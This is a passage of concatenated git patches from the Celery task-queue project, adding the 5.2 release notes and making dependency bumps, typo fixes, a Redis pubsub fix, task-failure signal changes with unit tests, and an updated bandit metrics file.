tutorials/index faq changelog - whatsnew-5.1 + whatsnew-5.2 reference/index internals/index history/index diff --git a/docs/whatsnew-5.2.rst b/docs/whatsnew-5.2.rst new file mode 100644 index 00000000000..f1f60743cf8 --- /dev/null +++ b/docs/whatsnew-5.2.rst @@ -0,0 +1,386 @@ +.. _whatsnew-5.2: + +========================================= + What's new in Celery 5.2 (Dawn Chorus) +========================================= +:Author: Omer Katz (``omer.drow at gmail.com``) + +.. sidebar:: Change history + + What's new documents describe the changes in major versions, + we also have a :ref:`changelog` that lists the changes in bugfix + releases (0.0.x), while older series are archived under the :ref:`history` + section. + +Celery is a simple, flexible, and reliable distributed programming framework +to process vast amounts of messages, while providing operations with +the tools required to maintain a distributed system with python. + +It's a task queue with focus on real-time processing, while also +supporting task scheduling. + +Celery has a large and diverse community of users and contributors, +you should come join us :ref:`on IRC ` +or :ref:`our mailing-list `. + +.. note:: + + Following the problems with Freenode, we migrated our IRC channel to Libera Chat + as most projects did. + You can also join us using `Gitter `_. + + We're sometimes there to answer questions. We welcome you to join. + +To read more about Celery you should go read the :ref:`introduction `. + +While this version is **mostly** backward compatible with previous versions +it's important that you read the following section as this release +is a new major version. + +This version is officially supported on CPython 3.7 & 3.8 & 3.9 +and is also supported on PyPy3. + +.. _`website`: http://celeryproject.org/ + +.. topic:: Table of Contents + + Make sure you read the important notes before upgrading to this version. + +.. contents:: + :local: + :depth: 2 + +Preface +======= + +.. note:: + + **This release contains fixes for two (potentially severe) memory leaks. + We encourage our users to upgrade to this release as soon as possible.** + +The 5.2.0 release is a new minor release for Celery. + +Releases in the 5.x series are codenamed after songs of `Jon Hopkins `_. +This release has been codenamed `Dawn Chorus `_. + +From now on we only support Python 3.7 and above. +We will maintain compatibility with Python 3.7 until it's +EOL in June, 2023. + +*— Omer Katz* + +Long Term Support Policy +------------------------ + +We no longer support Celery 4.x as we don't have the resources to do so. +If you'd like to help us, all contributions are welcome. + +Celery 5.x **is not** an LTS release. We will support it until the release +of Celery 6.x. + +We're in the process of defining our Long Term Support policy. +Watch the next "What's New" document for updates. + +Wall of Contributors +-------------------- + +.. note:: + + This wall was automatically generated from git history, + so sadly it doesn't not include the people who help with more important + things like answering mailing-list questions. + +Upgrading from Celery 4.x +========================= + +Step 1: Adjust your command line invocation +------------------------------------------- + +Celery 5.0 introduces a new CLI implementation which isn't completely backwards compatible. + +The global options can no longer be positioned after the sub-command. +Instead, they must be positioned as an option for the `celery` command like so:: + + celery --app path.to.app worker + +If you were using our :ref:`daemonizing` guide to deploy Celery in production, +you should revisit it for updates. + +Step 2: Update your configuration with the new setting names +------------------------------------------------------------ + +If you haven't already updated your configuration when you migrated to Celery 4.0, +please do so now. + +We elected to extend the deprecation period until 6.0 since +we did not loudly warn about using these deprecated settings. + +Please refer to the :ref:`migration guide ` for instructions. + +Step 3: Read the important notes in this document +------------------------------------------------- + +Make sure you are not affected by any of the important upgrade notes +mentioned in the :ref:`following section `. + +You should verify that none of the breaking changes in the CLI +do not affect you. Please refer to :ref:`New Command Line Interface ` for details. + +Step 4: Migrate your code to Python 3 +------------------------------------- + +Celery 5.x only supports Python 3. Therefore, you must ensure your code is +compatible with Python 3. + +If you haven't ported your code to Python 3, you must do so before upgrading. + +You can use tools like `2to3 `_ +and `pyupgrade `_ to assist you with +this effort. + +After the migration is done, run your test suite with Celery 4 to ensure +nothing has been broken. + +Step 5: Upgrade to Celery 5.2 +----------------------------- + +At this point you can upgrade your workers and clients with the new version. + +.. _v520-important: + +Important Notes +=============== + +Supported Python Versions +------------------------- + +The supported Python versions are: + +- CPython 3.7 +- CPython 3.8 +- CPython 3.9 +- PyPy3.7 7.3 (``pypy3``) + +Experimental support +~~~~~~~~~~~~~~~~~~~~ + +Celery supports these Python versions provisionally as they are not production +ready yet: + +- CPython 3.10 (currently in RC2) + +Memory Leak Fixes +----------------- + +Two severe memory leaks have been fixed in this version: + +* :class:`celery.result.ResultSet` no longer holds a circular reference to itself. +* The prefork pool no longer keeps messages in its cache forever when the master + process disconnects from the broker. + +The first memory leak occurs when you use :class:`celery.result.ResultSet`. +Each instance held a promise which provides that instance as an argument to +the promise's callable. +This caused a circular reference which kept the ResultSet instance in memory +forever since the GC couldn't evict it. +The provided argument is now a :func:`weakref.proxy` of the ResultSet's +instance. +The memory leak mainly occurs when you use :class:`celery.result.GroupResult` +since it inherits from :class:`celery.result.ResultSet` which doesn't get used +that often. + +The second memory leak exists since the inception of the project. +The prefork pool maintains a cache of the jobs it executes. +When they are complete, they are evicted from the cache. +However, when Celery disconnects from the broker, we flush the pool +and discard the jobs, expecting that they'll be cleared later once the worker +acknowledges them but that has never been the case. +Instead, these jobs remain forever in memory. +We now discard those jobs immediately while flushing. + +Dropped support for Python 3.6 +------------------------------ + +Celery now requires Python 3.7 and above. + +Python 3.6 will reach EOL in December, 2021. +In order to focus our efforts we have dropped support for Python 3.6 in +this version. + +If you still require to run Celery using Python 3.6 +you can still use Celery 5.1. +However we encourage you to upgrade to a supported Python version since +no further security patches will be applied for Python 3.6 after +the 23th of December, 2021. + +Tasks +----- + +When replacing a task with another task, we now give an indication of the +replacing nesting level through the ``replaced_task_nesting`` header. + +A task which was never replaced has a ``replaced_task_nesting`` value of 0. + +Kombu +----- + +Starting from v5.2, the minimum required version is Kombu 5.2.0. + +Prefork Workers Pool +--------------------- + +Now all orphaned worker processes are killed automatically when main process exits. + +Eventlet Workers Pool +--------------------- + +You can now terminate running revoked tasks while using the +Eventlet Workers Pool. + +Custom Task Classes +------------------- + +We introduced a custom handler which will be executed before the task +is started called ``before_start``. + +See :ref:`custom-task-cls-app-wide` for more details. + +Important Notes From 5.0 +------------------------ + +Dropped support for Python 2.7 & 3.5 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Celery now requires Python 3.6 and above. + +Python 2.7 has reached EOL in January 2020. +In order to focus our efforts we have dropped support for Python 2.7 in +this version. + +In addition, Python 3.5 has reached EOL in September 2020. +Therefore, we are also dropping support for Python 3.5. + +If you still require to run Celery using Python 2.7 or Python 3.5 +you can still use Celery 4.x. +However we encourage you to upgrade to a supported Python version since +no further security patches will be applied for Python 2.7 or +Python 3.5. + +Eventlet Workers Pool +~~~~~~~~~~~~~~~~~~~~~ + +Due to `eventlet/eventlet#526 `_ +the minimum required version is eventlet 0.26.1. + +Gevent Workers Pool +~~~~~~~~~~~~~~~~~~~ + +Starting from v5.0, the minimum required version is gevent 1.0.0. + +Couchbase Result Backend +~~~~~~~~~~~~~~~~~~~~~~~~ + +The Couchbase result backend now uses the V3 Couchbase SDK. + +As a result, we no longer support Couchbase Server 5.x. + +Also, starting from v5.0, the minimum required version +for the database client is couchbase 3.0.0. + +To verify that your Couchbase Server is compatible with the V3 SDK, +please refer to their `documentation `_. + +Riak Result Backend +~~~~~~~~~~~~~~~~~~~ + +The Riak result backend has been removed as the database is no longer maintained. + +The Python client only supports Python 3.6 and below which prevents us from +supporting it and it is also unmaintained. + +If you are still using Riak, refrain from upgrading to Celery 5.0 while you +migrate your application to a different database. + +We apologize for the lack of notice in advance but we feel that the chance +you'll be affected by this breaking change is minimal which is why we +did it. + +AMQP Result Backend +~~~~~~~~~~~~~~~~~~~ + +The AMQP result backend has been removed as it was deprecated in version 4.0. + +Removed Deprecated Modules +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The `celery.utils.encoding` and the `celery.task` modules has been deprecated +in version 4.0 and therefore are removed in 5.0. + +If you were using the `celery.utils.encoding` module before, +you should import `kombu.utils.encoding` instead. + +If you were using the `celery.task` module before, you should import directly +from the `celery` module instead. + +`azure-servicebus` 7.0.0 is now required +---------------------------------------- + +Given the SDK changes between 0.50.0 and 7.0.0 Kombu deprecates support for +older `azure-servicebus` versions. + +.. _v520-news: + +News +==== + +Support for invoking chords of unregistered tasks +------------------------------------------------- + +Previously if you attempted to publish a chord +while providing a signature which wasn't registered in the Celery app publishing +the chord as the body of the chord, an :exc:`celery.exceptions.NotRegistered` +exception would be raised. + +From now on, you can publish these sort of chords and they would be executed +correctly: + +.. code-block:: python + + # movies.task.publish_movie is registered in the current app + movie_task = celery_app.signature('movies.task.publish_movie', task_id=str(uuid.uuid4()), immutable=True) + # news.task.publish_news is *not* registered in the current app + news_task = celery_app.signature('news.task.publish_news', task_id=str(uuid.uuid4()), immutable=True) + + my_chord = chain(movie_task, + group(movie_task.set(task_id=str(uuid.uuid4())), + movie_task.set(task_id=str(uuid.uuid4()))), + news_task) + my_chord.apply_async() # <-- No longer raises an exception + +Consul Result Backend +--------------------- + +We now create a new client per request to Consul to avoid a bug in the Consul +client. + +The Consul Result Backend now accepts a new +:setting:`result_backend_transport_options` key: ``one_client``. +You can opt out of this behavior by setting ``one_client`` to True. + +Please refer to the documentation of the backend if you're using the Consul +backend to find out which behavior suites you. + +Filesystem Result Backend +------------------------- + +We now cleanup expired task results while using the +filesystem result backend as most result backends do. + +ArangoDB Result Backend +----------------------- + +You can now check the validity of the CA certificate while making +a TLS connection to ArangoDB result backend. + +If you'd like to do so, set the ``verify`` key in the +:setting:`arangodb_backend_settings`` dictionary to ``True``. From 87a7ef762736a6f9680aa34d500a577920696cb0 Mon Sep 17 00:00:00 2001 From: Naomi Elstein Date: Tue, 2 Nov 2021 18:40:59 +0200 Subject: [PATCH 373/415] Bump kombu to version 5.2.0 --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index 6d28411082d..ba82765ab85 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>dev billiard>=3.6.4.0,<4.0 -kombu>=5.2.0rc1,<6.0 +kombu>=5.2.0,<6.0 vine>=5.0.0,<6.0 click>=8.0,<9.0 click-didyoumean>=0.0.3 From 5d68d781de807b4576cf5f574e5ba0aaf0d17388 Mon Sep 17 00:00:00 2001 From: "Kian-Meng, Ang" Date: Sat, 30 Oct 2021 07:12:22 +0800 Subject: [PATCH 374/415] Fix typos --- celery/app/autoretry.py | 2 +- celery/concurrency/asynpool.py | 4 ++-- celery/contrib/pytest.py | 2 +- celery/loaders/base.py | 2 +- celery/utils/functional.py | 2 +- celery/utils/text.py | 4 ++-- celery/utils/threads.py | 2 +- docker/Dockerfile | 2 +- docs/history/changelog-4.4.rst | 2 +- docs/history/whatsnew-3.0.rst | 2 +- docs/history/whatsnew-4.4.rst | 2 +- extra/generic-init.d/celerybeat | 2 +- t/unit/backends/test_redis.py | 2 +- t/unit/tasks/test_canvas.py | 2 +- t/unit/utils/test_collections.py | 2 +- t/unit/worker/test_worker.py | 2 +- 16 files changed, 18 insertions(+), 18 deletions(-) diff --git a/celery/app/autoretry.py b/celery/app/autoretry.py index a22b9f04717..a5fe700b650 100644 --- a/celery/app/autoretry.py +++ b/celery/app/autoretry.py @@ -33,7 +33,7 @@ def run(*args, **kwargs): try: return task._orig_run(*args, **kwargs) except Ignore: - # If Ignore signal occures task shouldn't be retried, + # If Ignore signal occurs task shouldn't be retried, # even if it suits autoretry_for list raise except Retry: diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index 0c16187823b..d5d2bdb5124 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -1068,7 +1068,7 @@ def get_process_queues(self): if owner is None) def on_grow(self, n): - """Grow the pool by ``n`` proceses.""" + """Grow the pool by ``n`` processes.""" diff = max(self._processes - len(self._queues), 0) if diff: self._queues.update({ @@ -1248,7 +1248,7 @@ def on_partial_read(self, job, proc): """Called when a job was partially written to exited child.""" # worker terminated by signal: # we cannot reuse the sockets again, because we don't know if - # the process wrote/read anything frmo them, and if so we cannot + # the process wrote/read anything from them, and if so we cannot # restore the message boundaries. if not job._accepted: # job was not acked, so find another worker to send it to. diff --git a/celery/contrib/pytest.py b/celery/contrib/pytest.py index f44a828ecaa..858e4e5c447 100644 --- a/celery/contrib/pytest.py +++ b/celery/contrib/pytest.py @@ -22,7 +22,7 @@ def pytest_configure(config): """Register additional pytest configuration.""" # add the pytest.mark.celery() marker registration to the pytest.ini [markers] section - # this prevents pytest 4.5 and newer from issueing a warning about an unknown marker + # this prevents pytest 4.5 and newer from issuing a warning about an unknown marker # and shows helpful marker documentation when running pytest --markers. config.addinivalue_line( "markers", "celery(**overrides): override celery configuration for a test case" diff --git a/celery/loaders/base.py b/celery/loaders/base.py index 8cc15de8f8a..17f165d7c03 100644 --- a/celery/loaders/base.py +++ b/celery/loaders/base.py @@ -251,7 +251,7 @@ def autodiscover_tasks(packages, related_name='tasks'): def find_related_module(package, related_name): """Find module in package.""" - # Django 1.7 allows for speciying a class name in INSTALLED_APPS. + # Django 1.7 allows for specifying a class name in INSTALLED_APPS. # (Issue #2248). try: module = importlib.import_module(package) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index 2878bc15ea0..e8a8453cc6e 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -1,4 +1,4 @@ -"""Functional-style utilties.""" +"""Functional-style utilities.""" import inspect import sys from collections import UserList diff --git a/celery/utils/text.py b/celery/utils/text.py index 661a02fc002..8f4a321eebb 100644 --- a/celery/utils/text.py +++ b/celery/utils/text.py @@ -33,13 +33,13 @@ def str_to_list(s): def dedent_initial(s, n=4): # type: (str, int) -> str - """Remove identation from first line of text.""" + """Remove indentation from first line of text.""" return s[n:] if s[:n] == ' ' * n else s def dedent(s, n=4, sep='\n'): # type: (str, int, str) -> str - """Remove identation.""" + """Remove indentation.""" return sep.join(dedent_initial(l) for l in s.splitlines()) diff --git a/celery/utils/threads.py b/celery/utils/threads.py index a80b9ed69cf..94c6f617c40 100644 --- a/celery/utils/threads.py +++ b/celery/utils/threads.py @@ -282,7 +282,7 @@ def __init__(self, locals=None, ident_func=None): def get_ident(self): """Return context identifier. - This is the indentifer the local objects use internally + This is the identifier the local objects use internally for this context. You cannot override this method to change the behavior but use it to link other context local objects (such as SQLAlchemy's scoped sessions) to the Werkzeug locals. diff --git a/docker/Dockerfile b/docker/Dockerfile index 7f91b01cc59..0cd557070d0 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -47,7 +47,7 @@ ENV PATH="$HOME/.pyenv/bin:$PATH" # Copy and run setup scripts WORKDIR $PROVISIONING #COPY docker/scripts/install-couchbase.sh . -# Scripts will lose thier executable flags on copy. To avoid the extra instructions +# Scripts will lose their executable flags on copy. To avoid the extra instructions # we call the shell directly. #RUN sh install-couchbase.sh COPY docker/scripts/create-linux-user.sh . diff --git a/docs/history/changelog-4.4.rst b/docs/history/changelog-4.4.rst index 506672c4f0a..e6a851676cd 100644 --- a/docs/history/changelog-4.4.rst +++ b/docs/history/changelog-4.4.rst @@ -25,7 +25,7 @@ an overview of what's new in Celery 4.4. - Fix REMAP_SIGTERM=SIGQUIT not working - (Fixes#6258) MongoDB: fix for serialization issue (#6259) - Make use of ordered sets in Redis opt-in -- Test, CI, Docker & style and minor doc impovements. +- Test, CI, Docker & style and minor doc improvements. 4.4.6 ======= diff --git a/docs/history/whatsnew-3.0.rst b/docs/history/whatsnew-3.0.rst index 3b06ab91d14..7abd3229bac 100644 --- a/docs/history/whatsnew-3.0.rst +++ b/docs/history/whatsnew-3.0.rst @@ -524,7 +524,7 @@ stable and is now documented as part of the official API. .. code-block:: pycon >>> celery.control.pool_grow(2, destination=['w1.example.com']) - >>> celery.contorl.pool_shrink(2, destination=['w1.example.com']) + >>> celery.control.pool_shrink(2, destination=['w1.example.com']) or using the :program:`celery control` command: diff --git a/docs/history/whatsnew-4.4.rst b/docs/history/whatsnew-4.4.rst index 1f252de30a5..24b4ac61b3b 100644 --- a/docs/history/whatsnew-4.4.rst +++ b/docs/history/whatsnew-4.4.rst @@ -51,7 +51,7 @@ This release has been codenamed `Cliffs Date: Sun, 31 Oct 2021 17:57:04 +0600 Subject: [PATCH 375/415] python 3 shell for testing CI --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index fa3369b92be..6b41a8a71a6 100755 --- a/setup.py +++ b/setup.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 import codecs import os import re From 013b0e988f9141f5135baa8c7c6d30aa575779da Mon Sep 17 00:00:00 2001 From: Naomi Elstein Date: Thu, 4 Nov 2021 12:22:55 +0200 Subject: [PATCH 376/415] Limit pymongo version: <3.12.1 (#7041) --- requirements/extras/mongodb.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/extras/mongodb.txt b/requirements/extras/mongodb.txt index b3e1256564f..7ad511e68c5 100644 --- a/requirements/extras/mongodb.txt +++ b/requirements/extras/mongodb.txt @@ -1 +1 @@ -pymongo[srv]>=3.3.0 +pymongo[srv]>=3.3.0,<3.12.1 From e5d99801e4b56a02af4a2e183879c767228d2817 Mon Sep 17 00:00:00 2001 From: Wei Wei <49308161+Androidown@users.noreply.github.com> Date: Thu, 4 Nov 2021 22:54:04 +0800 Subject: [PATCH 377/415] Prevent from subscribing to empty channels (#7040) * Prevent from subscribing to emtpy channels * add unit test for pr. Co-authored-by: weiwei --- celery/backends/redis.py | 3 ++- t/unit/backends/test_redis.py | 9 +++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index e4a4cc104e7..7eedc4c089b 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -110,7 +110,8 @@ def _reconnect_pubsub(self): self._pubsub = self.backend.client.pubsub( ignore_subscribe_messages=True, ) - self._pubsub.subscribe(*self.subscribed_to) + if self.subscribed_to: + self._pubsub.subscribe(*self.subscribed_to) @contextmanager def reconnect_on_error(self): diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index f93fcd160d4..13dcf2eee9a 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -276,6 +276,15 @@ def test_drain_events_connection_error(self, parent_on_state_change, cancel_for) parent_on_state_change.assert_called_with(meta, None) assert consumer._pubsub._subscribed_to == {b'celery-task-meta-initial'} + def test_drain_events_connection_error_no_patch(self): + meta = {'task_id': 'initial', 'status': states.SUCCESS} + consumer = self.get_consumer() + consumer.start('initial') + consumer.backend._set_with_state(b'celery-task-meta-initial', json.dumps(meta), states.SUCCESS) + consumer._pubsub.get_message.side_effect = ConnectionError() + consumer.drain_events() + consumer._pubsub.subscribe.assert_not_called() + class basetest_RedisBackend: def get_backend(self): From 3bbf8c8918ee892432bbae5973de5b7e10515eaf Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 5 Nov 2021 14:24:04 +0600 Subject: [PATCH 378/415] try new latest version 12.9.0 (#7042) --- requirements/extras/azureblockblob.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/extras/azureblockblob.txt b/requirements/extras/azureblockblob.txt index e533edb7e76..a9208b97325 100644 --- a/requirements/extras/azureblockblob.txt +++ b/requirements/extras/azureblockblob.txt @@ -1 +1 @@ -azure-storage-blob==12.6.0 +azure-storage-blob==12.9.0 From c66e8c4a30fe8ace600d378b65c0f3577ee645ff Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Sat, 6 Nov 2021 19:54:21 +0600 Subject: [PATCH 379/415] update to new django settings (#7044) --- examples/celery_http_gateway/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/celery_http_gateway/settings.py b/examples/celery_http_gateway/settings.py index a671b980e49..d8001673c90 100644 --- a/examples/celery_http_gateway/settings.py +++ b/examples/celery_http_gateway/settings.py @@ -75,11 +75,11 @@ 'django.template.loaders.app_directories.load_template_source', ) -MIDDLEWARE_CLASSES = ( +MIDDLEWARE = [ 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', -) +] ROOT_URLCONF = 'celery_http_gateway.urls' From 37481fdd57a1ec036695a86d8f3d5e36f9ecf84c Mon Sep 17 00:00:00 2001 From: ninlei Date: Fri, 5 Nov 2021 20:30:21 +0800 Subject: [PATCH 380/415] fix register_task method fix cannot pass parameters to add_autoretry_behaviour when call register_task method --- celery/app/base.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index a00d4651336..0b893fddb87 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -492,7 +492,7 @@ def _task_from_fun(self, fun, name=None, base=None, bind=False, **options): task = self._tasks[name] return task - def register_task(self, task): + def register_task(self, task, **options): """Utility for registering a task-based class. Note: @@ -505,7 +505,7 @@ def register_task(self, task): task_cls = type(task) task.name = self.gen_task_name( task_cls.__name__, task_cls.__module__) - add_autoretry_behaviour(task) + add_autoretry_behaviour(task, **options) self.tasks[task.name] = task task._app = self task.bind(self) From ef77fcd2ac872275cdd0f85e21180fe7b6433125 Mon Sep 17 00:00:00 2001 From: Naomi Elstein Date: Sun, 7 Nov 2021 16:24:13 +0200 Subject: [PATCH 381/415] Add pymongo issue to "What's new in Celery 5.2" (#7051) * Add pymongo issue to "What's new in Celery 5.2" * Update whatsnew-5.2.rst * Update whatsnew-5.2.rst --- docs/whatsnew-5.2.rst | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/docs/whatsnew-5.2.rst b/docs/whatsnew-5.2.rst index f1f60743cf8..1180a653c63 100644 --- a/docs/whatsnew-5.2.rst +++ b/docs/whatsnew-5.2.rst @@ -330,6 +330,13 @@ older `azure-servicebus` versions. .. _v520-news: +Bug: Pymongo 3.12.1 is not compatible with Celery 5.2 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For now we are limiting Pymongo version, only allowing for versions between 3.3.0 and 3.12.0. + +This will be fixed in the next patch. + News ==== From 54862310a929fa1543b4ae4e89694905015a1216 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 8 Nov 2021 02:36:34 +0200 Subject: [PATCH 382/415] Fire task failure signal on final reject (#6980) * Improve Request.on_failure() unit tests. * Fire the task_failure signal when task is not going to be requeued. --- celery/worker/request.py | 6 ++++ t/unit/worker/test_request.py | 53 ++++++++++++++++++++++++++++++----- 2 files changed, 52 insertions(+), 7 deletions(-) diff --git a/celery/worker/request.py b/celery/worker/request.py index 0b29bde65bb..fb6d60e6812 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -579,6 +579,12 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): store_result=self.store_errors, ) + signals.task_failure.send(sender=self.task, task_id=self.id, + exception=exc, args=self.args, + kwargs=self.kwargs, + traceback=exc_info.traceback, + einfo=exc_info) + if send_failed_event: self.send_event( 'task-failed', diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index eb173a1c987..2c49f777103 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -19,7 +19,7 @@ from celery.backends.base import BaseDictBackend from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, WorkerLostError) -from celery.signals import task_retry, task_revoked +from celery.signals import task_failure, task_retry, task_revoked from celery.worker import request as module from celery.worker import strategy from celery.worker.request import Request, create_request_cls @@ -171,7 +171,6 @@ def ignores_result(i): assert not self.app.AsyncResult(task_id).ready() def test_execute_request_ignore_result(self): - @self.app.task(shared=False) def ignores_result(i): return i ** i @@ -232,7 +231,8 @@ def test_info_function(self): kwargs[str(i)] = ''.join( random.choice(string.ascii_lowercase) for i in range(1000)) assert self.get_request( - self.add.s(**kwargs)).info(safe=True).get('kwargs') == '' # mock message doesn't populate kwargsrepr + self.add.s(**kwargs)).info(safe=True).get( + 'kwargs') == '' # mock message doesn't populate kwargsrepr assert self.get_request( self.add.s(**kwargs)).info(safe=False).get('kwargs') == kwargs args = [] @@ -240,7 +240,8 @@ def test_info_function(self): args.append(''.join( random.choice(string.ascii_lowercase) for i in range(1000))) assert list(self.get_request( - self.add.s(*args)).info(safe=True).get('args')) == [] # mock message doesn't populate argsrepr + self.add.s(*args)).info(safe=True).get( + 'args')) == [] # mock message doesn't populate argsrepr assert list(self.get_request( self.add.s(*args)).info(safe=False).get('args')) == args @@ -336,32 +337,69 @@ def test_on_failure_Reject_rejects_with_requeue(self): ) def test_on_failure_WorkerLostError_rejects_with_requeue(self): - einfo = None try: raise WorkerLostError() except WorkerLostError: einfo = ExceptionInfo(internal=True) + req = self.get_request(self.add.s(2, 2)) req.task.acks_late = True req.task.reject_on_worker_lost = True req.delivery_info['redelivered'] = False + req.task.backend = Mock() + req.on_failure(einfo) + req.on_reject.assert_called_with( req_logger, req.connection_errors, True) + req.task.backend.mark_as_failure.assert_not_called() def test_on_failure_WorkerLostError_redelivered_None(self): - einfo = None try: raise WorkerLostError() except WorkerLostError: einfo = ExceptionInfo(internal=True) + req = self.get_request(self.add.s(2, 2)) req.task.acks_late = True req.task.reject_on_worker_lost = True req.delivery_info['redelivered'] = None + req.task.backend = Mock() + req.on_failure(einfo) + req.on_reject.assert_called_with( req_logger, req.connection_errors, True) + req.task.backend.mark_as_failure.assert_not_called() + + def test_on_failure_WorkerLostError_redelivered_True(self): + try: + raise WorkerLostError() + except WorkerLostError: + einfo = ExceptionInfo(internal=True) + + req = self.get_request(self.add.s(2, 2)) + req.task.acks_late = False + req.task.reject_on_worker_lost = True + req.delivery_info['redelivered'] = True + req.task.backend = Mock() + + with self.assert_signal_called( + task_failure, + sender=req.task, + task_id=req.id, + exception=einfo.exception, + args=req.args, + kwargs=req.kwargs, + traceback=einfo.traceback, + einfo=einfo + ): + req.on_failure(einfo) + + req.task.backend.mark_as_failure.assert_called_once_with(req.id, + einfo.exception, + request=req._context, + store_result=True) def test_tzlocal_is_cached(self): req = self.get_request(self.add.s(2, 2)) @@ -1292,7 +1330,8 @@ def test_execute_using_pool_with_none_timelimit_header(self): def test_execute_using_pool__defaults_of_hybrid_to_proto2(self): weakref_ref = Mock(name='weakref.ref') headers = strategy.hybrid_to_proto2(Mock(headers=None), {'id': uuid(), - 'task': self.mytask.name})[1] + 'task': self.mytask.name})[ + 1] job = self.zRequest(revoked_tasks=set(), ref=weakref_ref, **headers) job.execute_using_pool(self.pool) assert job._apply_result From 8de7f1430299dd3dbb6a7ea2afef45585a679c09 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 8 Nov 2021 06:37:50 +0600 Subject: [PATCH 383/415] update kombu to 5.2.1 (#7053) --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index ba82765ab85..c9110a53ef6 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>dev billiard>=3.6.4.0,<4.0 -kombu>=5.2.0,<6.0 +kombu>=5.2.1,<6.0 vine>=5.0.0,<6.0 click>=8.0,<9.0 click-didyoumean>=0.0.3 From 6138d6060f17eef27ce0c90d3bf18f305ace97c6 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 8 Nov 2021 06:45:29 +0600 Subject: [PATCH 384/415] update kombu --- setup.cfg | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.cfg b/setup.cfg index 53909275c13..daa92865f7f 100644 --- a/setup.cfg +++ b/setup.cfg @@ -31,7 +31,7 @@ per-file-ignores = [bdist_rpm] requires = pytz >= 2016.7 billiard >= 3.6.3.0,<4.0 - kombu >= 5.2.0rc1,<6.0.0 + kombu >= 5.2.1,<6.0.0 [bdist_wheel] universal = 0 From fb95cf0d0aa2412f0130a303ab2c58091334cebc Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 8 Nov 2021 07:02:06 +0600 Subject: [PATCH 385/415] update banit --- bandit.json | 466 ++++++++++++++++++++++++---------------------------- 1 file changed, 213 insertions(+), 253 deletions(-) diff --git a/bandit.json b/bandit.json index 95a9201f312..fa207a9c734 100644 --- a/bandit.json +++ b/bandit.json @@ -1,17 +1,17 @@ { "errors": [], - "generated_at": "2020-08-06T14:09:58Z", + "generated_at": "2021-11-08T00:55:15Z", "metrics": { "_totals": { - "CONFIDENCE.HIGH": 38.0, + "CONFIDENCE.HIGH": 40.0, "CONFIDENCE.LOW": 0.0, "CONFIDENCE.MEDIUM": 2.0, "CONFIDENCE.UNDEFINED": 0.0, "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 38.0, + "SEVERITY.LOW": 40.0, "SEVERITY.MEDIUM": 2.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 29309, + "loc": 29546, "nosec": 0 }, "celery/__init__.py": { @@ -23,7 +23,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 129, + "loc": 126, "nosec": 0 }, "celery/__main__.py": { @@ -35,7 +35,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 9, + "loc": 12, "nosec": 0 }, "celery/_state.py": { @@ -71,7 +71,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 528, + "loc": 503, "nosec": 0 }, "celery/app/annotations.py": { @@ -95,7 +95,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 43, + "loc": 50, "nosec": 0 }, "celery/app/backends.py": { @@ -119,7 +119,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 964, + "loc": 1028, "nosec": 0 }, "celery/app/builtins.py": { @@ 